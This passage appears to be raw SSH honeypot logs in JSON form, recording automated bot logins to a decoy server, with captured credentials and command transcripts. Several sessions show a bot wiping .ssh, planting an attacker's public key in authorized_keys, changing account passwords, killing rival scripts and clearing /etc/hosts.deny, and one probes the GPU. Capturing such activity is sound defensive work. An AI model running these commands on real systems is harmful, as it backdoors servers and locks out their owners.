Processor"},{"seq":9,"at":"2026-08-27T12:26:33.000790+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:26:33.894150+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:26:34.341931+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:26:35.374941+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:26:35.823778+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:26:36.207087+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:26:36.649522+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:26:37.434314+00:00","kind":"output","latency_ms":null,"data":" 12:26:37 up 7 days, 9:16, 0 user, load average: 0.05, 0.05, 0.05\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:26:37.876321+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:26:38.582498+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:26:39.042176+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:26:39.543139+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:26:39.983575+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:26:40.626811+00:00","kind":"output","latency_ms":null,"data":"top - 12:26:40 up 7 days, 9:16, 0 user, load average: 0.05, 0.05, 0.05\nTasks: 120 total, 1 running, 119 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6831 free, 9056 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:26:41.070085+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:26:41.438111+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:26:41.878929+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:26:42.138140+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:26:42.593095+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:26:43.257223+00:00","kind":"output","latency_ms":null,"data":"zsolt"},{"seq":29,"at":"2026-08-27T12:26:43.697451+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:26:44.644046+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:26:45.087864+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:26:46.080371+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"zsolt","password":"zsolt","method":"password","accepted":true,"tier":"other"}]} {"id":"c23adb4a-128c-4966-a030-6d229fb93564","name":"rapid-watchful-sparrow","protocol":"ssh","channel_kind":null,"src_ip":"187.111.28.131","src_port":59652,"username":"zsolt","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:26:27.916026+00:00","ended_at":"2026-08-27T12:26:29.424429+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"zsolt","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"65a1f566-17af-44e0-a275-608820cf40c3","name":"brazen-austere-goshawk","protocol":"ssh","channel_kind":null,"src_ip":"187.111.28.131","src_port":59636,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:26:26.264910+00:00","ended_at":"2026-08-27T12:26:26.995020+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"e00e9b56-c236-4a32-a457-8a88a1fa0e97","name":"electric-tawny-weasel","protocol":"ssh","channel_kind":"exec","src_ip":"202.155.157.112","src_port":33410,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":735,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:26:03.861784+00:00","ended_at":"2026-08-27T12:26:05.485026+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T12:25:37.830803+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:25:38.559066+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:25:43.624166+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:25:43.879370+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:25:44.833072+00:00","kind":"input","latency_ms":null,"data":"echo \"root:zvuVQCPzwCcO\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T12:25:45.566012+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T12:25:46.298911+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:25:46.562830+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:25:47.298829+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:25:48.629055+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:25:49.362244+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:25:50.507660+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:25:51.235794+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:25:51.650132+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:25:52.382032+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:25:53.054454+00:00","kind":"output","latency_ms":null,"data":" 12:25:53 up 7 days, 9:16, 0 user, load average: 0.29, 0.26, 0.35\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:25:53.795410+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:25:54.534247+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:25:55.262584+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:25:55.676108+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:25:56.424122+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:25:57.015045+00:00","kind":"output","latency_ms":null,"data":"top - 12:25:57 up 7 days, 9:16, 0 user, load average: 0.29, 0.26, 0.35\nTasks: 121 total, 1 running, 120 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6672 free, 9215 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:25:57.753103+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:25:58.242433+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:25:59.026133+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:25:59.678020+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:26:00.411127+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:26:00.850522+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T12:26:01.584572+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:26:03.118423+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:26:03.862999+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:26:05.246349+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Hq123456","method":"password","accepted":true,"tier":"other"}]} {"id":"d0ad47f4-68a4-4754-8d3d-94ab5cded373","name":"marine-canny-jerboa","protocol":"ssh","channel_kind":null,"src_ip":"202.155.157.112","src_port":52288,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:25:42.587861+00:00","ended_at":"2026-08-27T12:25:43.393795+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"7fe44b2d-599e-4b97-8931-4318d9559b8d","name":"foggy-misty-jerboa","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.148.64","src_port":49174,"username":"james","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":348,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:25:42.378488+00:00","ended_at":"2026-08-27T12:25:44.615648+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2258,"events":[{"seq":1,"at":"2026-08-27T12:25:19.216149+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:25:19.564281+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:25:24.810948+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:25:26.216406+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:25:26.567588+00:00","kind":"input","latency_ms":null,"data":"echo -e \"james@123\\nH2o54DnR8dkg\\nH2o54DnR8dkg\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:25:26.912880+00:00","kind":"input","latency_ms":null,"data":"echo \"james@123\\nH2o54DnR8dkg\\nH2o54DnR8dkg\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:25:27.260556+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:25:27.845418+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-27T12:25:28.208158+00:00","kind":"output","latency_ms":null,"data":""},{"seq":10,"at":"2026-08-27T12:25:29.127456+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":11,"at":"2026-08-27T12:25:29.473232+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":12,"at":"2026-08-27T12:25:31.675198+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:25:32.025930+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-27T12:25:33.374055+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-27T12:25:33.723470+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-27T12:25:34.391025+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-27T12:25:34.746204+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-27T12:25:35.283603+00:00","kind":"output","latency_ms":null,"data":" 12:25:35 up 7 days, 9:15, 0 user, load average: 0.33, 0.24, 0.35\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-27T12:25:35.633615+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-27T12:25:36.084937+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-27T12:25:36.426900+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-27T12:25:37.075319+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-27T12:25:37.423110+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-27T12:25:38.224155+00:00","kind":"output","latency_ms":null,"data":"top - 12:25:38 up 7 days, 9:15, 0 user, load average: 0.33, 0.24, 0.35\nTasks: 118 total, 1 running, 117 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9215 free, 6672 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-27T12:25:38.576088+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-27T12:25:39.033869+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-27T12:25:39.372298+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-27T12:25:39.765590+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-27T12:25:40.112076+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-27T12:25:40.506744+00:00","kind":"output","latency_ms":null,"data":"james"},{"seq":31,"at":"2026-08-27T12:25:40.855399+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-27T12:25:42.030051+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-27T12:25:42.379435+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-27T12:25:44.512501+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"james","password":"james@123","method":"password","accepted":true,"tier":"other"}]} {"id":"ed63d988-1374-465e-bf40-45f76822a113","name":"solemn-freckled-ibis","protocol":"ssh","channel_kind":null,"src_ip":"202.155.157.112","src_port":52280,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:25:40.256018+00:00","ended_at":"2026-08-27T12:25:41.047617+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"9c7a5674-dfff-4d57-9627-4a9660cb5bfe","name":"prickly-russet-tinamou","protocol":"ssh","channel_kind":"exec","src_ip":"2.57.122.53","src_port":38224,"username":"ripple","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":199,"probe_flagged":0,"exec_command":"/bin/./uname -s -v -n -r -m","started_at":"2026-08-27T12:25:38.243103+00:00","ended_at":"2026-08-27T12:25:38.348201+00:00","ended_reason":"exec complete","commands":7,"transcript_bytes":738,"events":[{"seq":1,"at":"2026-08-27T12:25:36.520774+00:00","kind":"input","latency_ms":null,"data":"/bin/./uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-27T12:25:37.042861+00:00","kind":"output","latency_ms":null,"data":""},{"seq":3,"at":"2026-08-27T12:25:37.242647+00:00","kind":"input","latency_ms":null,"data":"uptime -p"},{"seq":4,"at":"2026-08-27T12:25:37.243187+00:00","kind":"output","latency_ms":null,"data":" 12:25:37 up 7 days, 9:15, 0 user, load average: 0.24, 0.22, 0.15"},{"seq":5,"at":"2026-08-27T12:25:37.442716+00:00","kind":"input","latency_ms":null,"data":"lspci | grep VGA | cut -f5- -d ' '"},{"seq":6,"at":"2026-08-27T12:25:37.443332+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":7,"at":"2026-08-27T12:25:37.643156+00:00","kind":"input","latency_ms":null,"data":"lspci | grep VGA -c"},{"seq":8,"at":"2026-08-27T12:25:37.643634+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":9,"at":"2026-08-27T12:25:37.845679+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | head -n 1 | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}'"},{"seq":10,"at":"2026-08-27T12:25:37.847358+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":11,"at":"2026-08-27T12:25:38.045005+00:00","kind":"input","latency_ms":null,"data":"lspci | grep \"3D controller\" | cut -f5- -d ' '"},{"seq":12,"at":"2026-08-27T12:25:38.046363+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":13,"at":"2026-08-27T12:25:38.244364+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | grep . -c "},{"seq":14,"at":"2026-08-27T12:25:38.246064+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"}],"credentials":[{"username":"ripple","password":"ripple","method":"password","accepted":true,"tier":"other"}]} {"id":"6164e871-e416-451f-b1d6-b7e6271cd5e2","name":"jaunty-eager-lark","protocol":"ssh","channel_kind":"exec","src_ip":"51.255.195.46","src_port":41570,"username":"alex","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":262,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:25:35.353754+00:00","ended_at":"2026-08-27T12:25:37.508863+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2257,"events":[{"seq":1,"at":"2026-08-27T12:25:18.484993+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:25:18.755698+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:25:22.310779+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:25:23.021548+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:25:23.283873+00:00","kind":"input","latency_ms":null,"data":"echo -e \"alex12345\\n9WXKF78sxZD2\\n9WXKF78sxZD2\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:25:23.545082+00:00","kind":"input","latency_ms":null,"data":"echo \"alex12345\\n9WXKF78sxZD2\\n9WXKF78sxZD2\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:25:23.804015+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:25:24.698970+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:25:24.959967+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:25:25.833136+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:25:26.094880+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:25:27.108266+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:25:27.371219+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:25:27.923747+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:25:28.183802+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:25:28.685162+00:00","kind":"output","latency_ms":null,"data":" 12:25:28 up 7 days, 9:15, 0 user, load average: 0.13, 0.15, 0.13\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:25:28.945086+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:25:29.606531+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:25:29.866792+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:25:30.443756+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:25:30.707634+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:25:31.290272+00:00","kind":"output","latency_ms":null,"data":"top - 12:25:31 up 7 days, 9:15, 0 user, load average: 0.13, 0.15, 0.13\nTasks: 125 total, 1 running, 124 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9056 free, 6831 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:25:31.555483+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:25:32.236091+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:25:32.498571+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:25:33.331279+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:25:33.593595+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:25:33.867612+00:00","kind":"output","latency_ms":null,"data":"alex"},{"seq":29,"at":"2026-08-27T12:25:34.136235+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep 